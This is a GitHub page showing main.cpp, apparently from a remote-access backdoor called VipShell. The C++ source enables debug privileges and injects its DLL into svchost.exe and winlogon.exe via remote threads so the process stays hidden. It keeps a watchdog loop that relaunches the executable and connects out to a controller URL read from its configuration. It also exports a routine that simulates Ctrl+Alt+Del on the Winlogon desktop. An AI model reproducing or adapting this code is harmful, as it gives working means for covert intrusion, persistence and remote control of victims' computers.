-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmain.cpp
More file actions
317 lines (249 loc) · 7.65 KB
/
main.cpp
File metadata and controls
317 lines (249 loc) · 7.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#include <windows.h>
#include "tchar.h"
#include "VipShellEx.h"
#include "..\DllModule.h"
#include "tools.h"
#pragma data_seg(".VipShell__Data")
WCHAR g_Path[MAX_PATH] = {0};
#pragma data_seg()
#pragma comment(linker, "/SECTION:.VipShell__Data,RWS")
const LPCWSTR INJECTPROCESSNAME = L"svchost.exe";
const LPCWSTR WAITPROCESSNAME = L"winlogon.exe"; //等待线程
/*
const LPCWSTR INJECTPROCESSNAME = L"notepad.exe";
const LPCWSTR WAITPROCESSNAME = L"tlntsvr.exe"; //等待线程
*/
HINSTANCE g_hinstDLL;
WCHAR VIPSHELL_EVENT_WAIT[100] = L"VipShell_Event_Wait";
WCHAR VIPSHELL_EVENT_STATR_WAIT[100] = L"VipShell_Event_StartWait";
WCHAR VIPSHELL_EVENT_STATR_STOP[100] = L"VipShell_Event_StopWait";
class CDllModuleControl : public CDllModuleControlInterface
{
public:
virtual bool StartServer() ;
};
CDllModuleControl g_hDllModule;
void StopServer()
{
HANDLE hStop = CreateMutex(NULL,FALSE,VIPSHELL_EVENT_STATR_STOP);
}
bool Start()
{
//启动进程。。。
// VIPSHELLCONFIG vipCfg;
// GetVipShellConfig(&vipCfg);
return 0;
}
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
return Start();
}
void GetExeFilePath(WCHAR* p)
{
lstrcpy(p, g_Path);
}
bool CDllModuleControl::StartServer()
{
enableDebugPriv();
// KeyDownCtrlAltDel();
COpenDesktop hDesktop;
COpenDesktop hDesktop1;
//线程插入。。
//得到 桌面进程
// std::vector<tagVipShellProcess> VecTor;
// DWORD dwLen = GetProcessToVecTor(&VecTor);
// MessageBox(NULL, L"sss", L"sss", 0);
CStartAggregate hStart;
lstrcpy(g_Path, hStart.m_strExePath.c_str());
VIPSHELLCONFIG confing;
GetVipShellConfig( &confing);
wsprintf(VIPSHELL_EVENT_WAIT, L"Wait_%s", confing.szCfgFile);
wsprintf(VIPSHELL_EVENT_STATR_WAIT, L"Start_Wait_%s", confing.szCfgFile);
wsprintf(VIPSHELL_EVENT_STATR_STOP, L"StopWait_%s", confing.szCfgFile);
HANDLE hObject = CreateMutex(NULL,FALSE,VIPSHELL_EVENT_WAIT);
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
// CloseHandle(hObject);
// MessageBox(NULL, L"程序已经运行!", L"dsss", 0);
return FALSE;
}
// CloseHandle(hObject);
// lstrcpy(confing.szCfgFile, L"sss111");
// lstrcpy(confing.szExplain, L"呵呵");
// lstrcpy(confing.szUrl, L"Url");
// MakeRun(hStart.m_strExePath.c_str(), NULL);
// ::StartServer(&confing);
// return false;
DWORD dwWaitId = 0;
while(dwWaitId == 0)
dwWaitId = GetProcessIdByName(WAITPROCESSNAME);
std::vector<tagVipShellProcess> VecTor;
DWORD dwLen = GetProcessToVecTor(&VecTor);
HWND hwndText = FindWindow(L"Notepad", NULL);
// if( !hwndText )
// return 0;
DWORD dwProcessId;
// GetWindowThreadProcessId(hwndText, &dwProcessId);
dwProcessId = GetProcessIdByName(INJECTPROCESSNAME);
InjectHideMe(dwProcessId, &confing,"StartServer");
if(dwWaitId != 0)
{
VIPSHELLCONFIG run;
lstrcpy(run.szUrl, hStart.m_strExePath.c_str());
InjectHideMe(dwWaitId, &run,"WaitServer");
}
// Start();
return 0;
}
extern "C" __declspec(dllexport) bool DownCtrlAltDel(LPVOID lp)
{
COpenDesktop hDesktop(L"Winlogon");
COpenDesktop hDesktop1(L"Winlogon");
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));
return true;
}
void KeyDownCtrlAltDel()
{
enableDebugPriv();
DWORD dwWaitId = GetProcessIdByName(WAITPROCESSNAME);
if(dwWaitId != 0)
{
VIPSHELLCONFIG run;
InjectHideMe(dwWaitId, &run,"DownCtrlAltDel");
}
}
extern "C" __declspec(dllexport) bool WaitServer(LPVOID lp)
{
COpenDesktop hDesktop;
COpenDesktop hDesktop1;
LPVIPSHELLCONFIG hServerConfig = (LPVIPSHELLCONFIG)lp;
MakeRun(hServerConfig->szUrl, NULL);
return false;
HANDLE hObject = CreateMutex(NULL,FALSE, VIPSHELL_EVENT_STATR_WAIT);
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
// CloseHandle(hObject);
return 0;
}
MakeRun(hServerConfig->szUrl, NULL);
//
DWORD dwWait = 1000;
while(1)
{
HANDLE hStop = CreateMutex(NULL,FALSE,VIPSHELL_EVENT_STATR_STOP);
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBox(NULL, L"Exit", L"Exit", 0);
MakeRun(hServerConfig->szUrl, NULL, false);
CloseHandle(hStop);
}
CloseHandle(hStop);
Sleep(dwWait);
dwWait+=1000;
if(dwWait > 30 * 60 * 1000)
dwWait = 30 * 60 * 1000;
HANDLE hObject = CreateMutex(NULL,FALSE,VIPSHELL_EVENT_WAIT);
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
// CloseHandle(hObject);
continue;
// MessageBox(NULL, L"程序已经运行!", L"dsss", 0);
// return FALSE;
}
CloseHandle(hObject);
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo; //This is an [in] parameter
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof StartupInfo ; //Only compulsory field
if(CreateProcess(hServerConfig->szUrl, NULL,
NULL,NULL,FALSE,0,NULL,
NULL,&StartupInfo,&ProcessInfo))
{
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
}
RunFile(hServerConfig->szUrl);
//ShellExecute(NULL, L"open", hServerConfig->szUrl, NULL, NULL, SW_SHOW);
}
return 0;
}
extern "C" __declspec(dllexport) bool StartServer(LPVOID lp)
{
enableDebugPriv();
COpenDesktop hDesktop;
COpenDesktop hDesktop1;
HANDLE hMutex = CreateMutex(NULL, FALSE, VIPSHELL_EVENT_WAIT);
LPVIPSHELLCONFIG hServerConfig = (LPVIPSHELLCONFIG)lp;
// MessageBox(NULL, g_Path, g_Path, NULL);
WORD wVersionRequested;
WSADATA wsaData;
int err;
// MessageBox(NULL, hServerConfig->szExplain, hServerConfig->szCfgFile, 0);
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
/* Tell the user t6hat we could not find a usable */
/* WinSock DLL. */
return 0;
}
CVipShellEx hServer;
hServer.SetExplain(hServerConfig->szExplain);
//下载配置文件。。
// hServer.ConnectServer(_T("127.0.0.1"), 96);
// hServer.ConnectServer(L"http://127.0.0.1:81/ip.txt");
hServer.ConnectServer(hServerConfig->szUrl);
while(1)
{
Sleep(1000);
}
WSACleanup();
}
extern "C" __declspec(dllexport) bool GetDllModuleControl(CDllModuleControlInterface** p)
{
*p = (CDllModuleControlInterface*)&g_hDllModule;
return true;
}
DWORD WINAPI HideMe(LPVOID lpParameter)
{
typedef BOOL (*PVipShellStartServer)(LPVOID lp);
PThreadParam a = (PThreadParam)lpParameter;
HINSTANCE hDll = NULL;
PVipShellStartServer pfnVipShellStartServer = NULL;
BOOL bFlag = FALSE;
hDll = a->pfnLoadLibraryA(a->szDllName);
if( !hDll ) return FALSE;
pfnVipShellStartServer = (PVipShellStartServer)a->pfnGetProcAddress(hDll, a->szFunctionName);
if( !pfnVipShellStartServer) return FALSE;
bFlag = pfnVipShellStartServer(&a->lp);
//a->pfnFreeLibrary(hDll);
return bFlag;
}
void InjectHideMe(DWORD dwProcessId, LPVIPSHELLCONFIG lp, LPCSTR szFnName)
{
ThreadParam tp;
HINSTANCE hKernel32 = NULL;
DWORD dwPid;
DWORD dwFuncSize = 2048;
dwPid = dwProcessId;
hKernel32 = GetModuleHandle( L"kernel32.dll" );
tp.pfnGetProcAddress = (PGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
tp.pfnLoadLibraryA = (PLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");
tp.pfnFreeLibrary = (PFreeLibrary)GetProcAddress(hKernel32, "FreeLibrary");
strcpy(tp.szFunctionName, szFnName);
GetModuleFileNameA((HINSTANCE)g_hinstDLL, tp.szDllName, MAX_PATH);
memcpy(&tp.lp, lp, sizeof(VIPSHELLCONFIG));
Inject( dwPid, HideMe, dwFuncSize, &tp, sizeof(tp), 1000);
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
g_hinstDLL = hinstDLL;
return TRUE;
}